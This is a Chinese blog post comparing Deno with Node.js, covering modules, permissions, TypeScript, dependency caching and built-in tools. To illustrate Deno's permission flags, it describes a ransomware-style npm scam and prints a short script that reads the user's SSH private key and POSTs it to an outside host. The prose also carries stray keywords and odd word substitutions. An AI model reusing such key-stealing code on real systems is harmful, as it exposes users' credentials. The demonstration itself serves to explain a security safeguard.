Deno 已經正式發佈了🎉!javascript
我說這句話時候,是否是不少前端 和 NodeJS 工(碼)程(農)師已經按不住本身的40米大刀了。心中的不只感慨前端是真的會造輪子,有了 node 還不夠嗎,還沒學會 node 又搞了個 deno,node 和 deno 啥區別?!html
的確,deno 和 node 形態很類似,要解決的問題彷佛也相同,那他們到底有啥區別,這一切到底是道德的淪喪仍是 ry (做者)人性的扭曲,讓咱們走進本篇文章,一探究竟。前端
Node | Deno | |
---|---|---|
API 引用方式 | 模塊導入 | 全局對象 |
模塊系統 | CommonJS & 新版 node 實驗性 ES Module | ES Module 瀏覽器實現 |
安全 | 無安全限制 | 默認安全 |
Typescript | 第三方,如經過 ts-node 支持 | 原生支持 |
包管理 | npm + node_modules | 原生支持 |
異步操做 | 回調 | Promise |
包分發 | 中心化 npmjs.com | 去中心化 import url |
入口 | package.json 配置 | import url 直接引入 |
打包、測試、格式化 | 第三方如 eslint、gulp、webpack、babel 等 | 原生支持 |
node 內置 API 經過模塊導入的方式引用,例如:vue
const fs = require("fs"); fs.readFileSync("./data.txt");
而 deno 則是一個全局對象 Deno
的屬性和方法:java
Deno.readFileSync("./data.txt");
具體 deno 有哪些方法,咱們能夠經過 repl
看一下:node
deno # 或 deno repl
進入 repl
後,輸入 Deno
回車,咱們能夠看到:react
{ Buffer: [Function: Buffer], readAll: [AsyncFunction: readAll], readAllSync: [Function: readAllSync], writeAll: [AsyncFunction: writeAll], writeAllSync: [Function: writeAllSync], # ..... }
這種處理的方式好處是簡單、方便,壞處是沒有分類,想查找忘記的 API 比較困難。整體來講見仁見智。webpack
咱們再來看一下模塊系統,這也是 deno 和 node 差異最大的地方,一樣也是 deno 和 node 不兼容的地方。git
咱們都知道 node 採用的是 CommonJS 規範,而 deno 則是採用的 ES Module 的瀏覽器實現,那麼咱們首先來認識一下:es6
具體關於 ES Module 想必你們都早已熟知,但其瀏覽器實現可能你們還不是很熟悉,因此咱們先看一下其瀏覽器實現:
<body> <!-- 注意這裏必定要加上 type="module" --> <script type="module"> // 從 URL 導入 import Vue from "https://unpkg.com/vue@2.6.11/dist/vue.esm.browser.js"; // 從相對路徑導入 import * as utils from "./utils.js"; // 從絕對路徑導入 import "/index.js"; // 不支持 import foo from "foo.js"; import bar from "bar/index.js"; import zoo from "./index"; // 沒有 .js 後綴 </script> </body>
deno 徹底遵循 es module 瀏覽器實現,因此 deno 也是如此:
// 支持 import * as fs from "https://deno.land/std/fs/mod.ts"; import { deepCopy } from "./deepCopy.js"; import foo from "/foo.ts"; // 不支持 import foo from "foo.ts"; import bar from "./bar"; // 必須指定擴展名
咱們發現其和咱們日常在 webpack 或者 ts 使用 es module 最大的不一樣:
關於第 1 點,爭議很是大,有人很看好,以爲極大的擴展了 deno 庫的範圍;有人則不太看好,以爲國內網速的緣由,並不實用。你們的見解如何,歡迎在評論區發表 🤔
若是模塊規範是 node 和 deno 最大的不一樣,那麼對安全的處理,則是另一個讓人摸不着頭腦的地方。
在介紹以前咱們先思考一下這個場景會不會出現:
我作了一個基於命令行的一鍵上網工具 breakwall
,每個月 1 個 G 免費流量,而後將壓縮後的 JS 代碼發佈到 npm 上,而後後在各類渠道宣傳一波。
羊毛黨興高彩烈的 cnpm install -g breakwall
,而後每次使用的時候,我偷偷的將諸位的 ssh 密鑰和各類能偷的文檔及圖片偷偷上傳到個人服務器,在設按期限到期後,刪除電腦上資料,留下一句拿錢換資料,僅支持比特幣。
若是你以爲以上狀況有可能出現,則會以爲下面的功能很實用。咱們先用 deno 執行如下代碼:
// index.js let rsa = Deno.readFileSync(Deno.dir("home") + "/.ssh/id_rsa"); rsa = new TextDecoder().decode(rsa); fetch("http://jsonplaceholder.typicode.com/posts/1", { method: "POST", body: JSON.stringify(rsa) }) .then((res) => res.json()) .then((res) => console.log("密鑰發送成功,嘿嘿嘿😜")); console.log("start breakwall...");
PS: --unstable 是因爲 Deno.dir API 不穩定
> deno run --unstable index.js
咱們將會獲得以下報錯信息:
> deno run --unstable index.js error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag ...
意思就是權限異常,須要訪問環境變量,須要加上 --allow-env
,咱們加上這個參數再試一下。
> deno run --unstable --allow-env index.js error: Uncaught PermissionDenied: read access to "/Users/zhangchaojie/.ssh/id_rsa", run again with the --allow-read flag ...
如此反覆,還需加上 --allow-read
、--allow-net
,最終的結果是:
> deno run --unstable --allow-env --allow-read --allow-net index.js start breakwall... 密鑰發送成功,嘿嘿嘿😜
通過一番折騰,總算是發送成功了,要想盜取密鑰實屬不易。
那有人就說了,若是個人應用確實須要訪問網絡和文件,可是有不想讓它訪問 .ssh 文件有沒有辦法?
固然有了,咱們能夠給 --allow-read
和 --allow-net
指定白名單,名單以外都不可訪問,例如:
> deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com index.js start breakwall... error: Uncaught PermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow-net flag at unwrapResponse ($deno$/ops/dispatch_json.ts:43:11) at Object.sendAsync ($deno$/ops/dispatch_json.ts:98:10) at async fetch ($deno$/web/fetch.ts:591:27)
若是確認是沒問題,或者是本身開發軟件時,圖個方便,能夠直接使用 -A
或 --allow-all
參數容許全部權限:
> deno -A --unstable index.js start breakwall... 密鑰發送成功,嘿嘿嘿😜
安全這方面見仁見智,有人以爲是多餘,有人以爲很好用,極大的加強了安全性。若是你屬於以爲這個功能多餘的,能夠 deno run -A xxx
便可。
不少人不理解,爲何你一個服務端語言要兼容瀏覽器 API,以及怎麼兼容。
關於爲何,我舉個栗子你們就明白了:在設計 node 之處,關於輸出函數原本叫 print
之類的,後來有人提議爲何不叫 console.log
,ry 以爲挺不錯,因而就接納了意見。
可是,這個設計並非刻意爲之,而 deno 的設計則能夠爲之,經過與瀏覽器 API 保持一致,來減小你們的認知。
console.log(window === this, window === self, window === globalThis);
具體方法列表,咱們能夠參考:lib.deno.shared_globals.d.ts 和 lib.deno.window.d.ts
// 請求方法 fetch("https://baidu.com"); // base64 轉化 let encodedData = btoa("Hello, world"); // 編碼 let decodedData = atob(encodedData); // 解碼 // 微任務 queueMicrotask(() => { console.log(123); }); // 等等...
整體而言,若是服務端和瀏覽器端存在相同概念,deno 就不會創造新的概念。這一點其實 node 也在作,新的 node 14.0 CHANGELOG 就也說起要實現 Universal JavaScript
和 Spec compliance and Web Compatibility
的思想,因此這點你們應該都會接受吧,畢竟大勢所趨趨勢。
無論你喜歡與否,2020 年了,必須學習 TS 了(起碼在面試的時候是亮點)。學完以後你纔會明白王境澤定律真的無處不在。
// index.ts let str: string = "王境澤定律"; str = 132;
> deno run index.ts error TS2322: Type '123' is not assignable to type 'string'. ► file:///Users/zhangchaojie/Desktop/index.ts:2:1 2 str = 123
deno 沒有 node_modules,那麼它是怎麼進行包管理的呢?咱們先看下面的例子
// index.js import { white, bgRed } from "https://deno.land/std/fmt/colors.ts"; console.log(bgRed(white("hello world!")));
> deno run index.js Download https://deno.land/std/fmt/colors.ts Compile https://deno.land/std/fmt/colors.ts hello world!
咱們看到其有 Download
和 Compile
兩個步驟,咱們會產生幾個疑問:
一、每次執行都要下載嗎?
解:咱們只須要再執行一次就能明白,不須要每次下載。
> deno run index.js hello world!
二、Download 和 Compile 的文件在哪裏呢?
解:咱們會發現,當前執行的目錄,並無 Download 和 Compile 文件,那文件放在哪裏呢,咱們首先來看一下 deno --help
命令:
> deno --help SUBCOMMANDS: # ... info Show info about cache or info related to source file # ... ENVIRONMENT VARIABLES: DENO_DIR Set deno's base directory (defaults to $HOME/.deno)
deno info
命令展現了依賴關係,相似 package.json
。
> deno info index.js local: /Users/zhangchaojie/Desktop/index.js type: JavaScript deps: file:///Users/zhangchaojie/Desktop/index.js └── https://deno.land/std/fmt/colors.ts
DENO_DIR
則爲實際的安裝和編譯目錄,至關於 node_modules
,默認爲 $HOME/.deno
(命令提示是這樣的,但實際須要指定一下環境變量 export DENO_DIR=$HOME/.deno
),咱們看一下:
> tree $HOME/.deno /Users/zhangchaojie/.deno ├── deps │ └── https │ └── deno.land │ ├── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935 │ └── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json └── gen └── https └── deno.land └── std └── fmt ├── colors.ts.js ├── colors.ts.js.map └── colors.ts.meta 8 directories, 5 files
三、沒網絡了怎麼辦?
咱們有些場景是將本地寫好的代碼部署到沒有網絡的服務器,那麼當執行 deno run xxx
時,就是提示 error sending request。
解:將上面的緩存目錄內容,直接拷貝到服務器並指定環境變量到其目錄便可。
四、依賴代碼更新了怎麼辦?
解:當依賴模塊更新時,咱們能夠經過 --reload
進行更新緩存,例如:
> deno run --reload index.js
咱們還能夠經過白名單的方式,只更新部分依賴。例如:
> deno run --reload=https://deno.land index.js
五、僅緩存依賴,不執行代碼有辦法嗎?
解:有的,咱們能夠經過 deno cache index.js
進行依賴緩存。
六、多版本怎麼處理?
解:暫時沒有好的解決方案,只能經過 git tag 的方式區分版本。
咱們經過第 1 點能夠看到,其實 deno 的 API 相對於 node 實際上是少一些的,經過其文件大小也能看出來:
> ll /usr/local/bin/node /Users/zhangchaojie/.local/bin/deno -rwxr-xr-x 1 42M /Users/zhangchaojie/.local/bin/deno -rwxr-xr-x 1 70M /usr/local/bin/node
那這些少的 API 只能本身寫或者求助於社區嗎?
deno 對於自身相對於 node 少的和社區中經常使用的功能,提供了標準模塊,其特色是不依賴非標準模塊的內容,達到社區內的模塊引用最後都收斂於標準模塊的效果。例如:
// 相似 node 中 chalk 包 import { bgRed, white } from "https://deno.land/std/fmt/colors.ts"; // 相似 node 中的 uuid 包 import { v4 } from "https://deno.land/std/uuid/mod.ts";
同時爲了對 node 用戶友好,提供了 node API 的兼容
import * as path from "https://deno.land/std/node/path.ts"; import * as fs from "https://deno.land/std/node/fs.ts"; console.log(path.resolve('./', './test'))
因此,你們在爲 deno 社區作貢獻的時候,首先要看一下標準模塊有沒有提供相似的功能,若是已經提供了能夠進行引用。
根據 ry 本身是說法,在設計 node 是有人提議 Promise 處理回調,可是他沒聽,用他本身的話說就是愚蠢的拒絕了。
node 用回調的方式處理異步操做、deno 則選擇用 Promise
// node 方式 const fs = require("fs"); fs.readFile("./data.txt", (err, data) => { if (err) throw err; console.log(data); });
另外 deno 支持 top-level-await
,因此以上讀取文件的代碼能夠爲:
// deno 方式 const data = await Deno.readFile("./data.txt"); console.log(data);
node 關於這方面也在一直改進,例如社區上不少 promisify
解決方案,經過包裹一層函數,實現目的。例如:
// node API promisify const { promisify } = require("es6-promisify"); const fs = require("fs"); // 沒有 top-level-await,只能包一層 async function main() { const readFile = promisify(fs.readFile); const data = await readFile("./data.txt"); console.log(data); } main();
咱們知道 npm 包必須有 package.json
文件,裏面不只須要指明 main
或 module
或 browser
等字段來標明入口文件,還須要指明 name
、license
、description
等字段來講明這個包。
ry 以爲這些字段擾亂了開發者的視聽,因此在 deno 中,其模塊不須要任何配置文件,直接是 import url 的形式。
對於 www.npmjs.com 咱們確定都不陌生,它是推進 node 蓬勃發展的重要支點。但做者認爲它是中心化倉庫,違背了互聯網去中心化原則。
因此 deno 並無一個像 npmjs.com 的倉庫,經過 import url 的方式將互聯網任何一處的代碼均可以引用。
PS:deno 實際上是有個基於 GitHub 的第三方模塊集合。
咱們在寫一個 node 庫或者工具時,開發依賴是少不了的,例如 babel 作轉化和打包、jest 作測試、prettier 作代碼格式化、eslint 作代碼格式校檢、gulp 或者 webpack 作構建等等,讓咱們在開發前就搞得筋疲力盡。
deno 經過內置了一些工具,解決上述問題。
babel
、gulp
一類工具: 例如:deno bundle ./mod.ts
;prettier
一類工具,例如:deno fmt ./mod.ts
;jest
一類工具,例如 deno test ./test.ts
;eslint
一類工具,例如:deno lint ./mod.ts
。就像小時候一直幻想的炸彈始終沒能炸了學校,技(輪)術(子)的進(制)步(造)一直也未中止過。不論咱們學的動或者學不動,技術就在那裏,不以人的意志爲轉移。
至於 deno 能不能火,我我的以爲起碼一兩年內不會有太大反響,以後和 node 的關係有可能像 Vue 和 react,有人喜歡用 deno,以爲比 node 好一萬倍,有人則喜歡 node ,以爲 node 還能再戰 500 年。至於最終學不學還看本身。
若是以爲文章不錯,記得點贊、收藏啦~~~~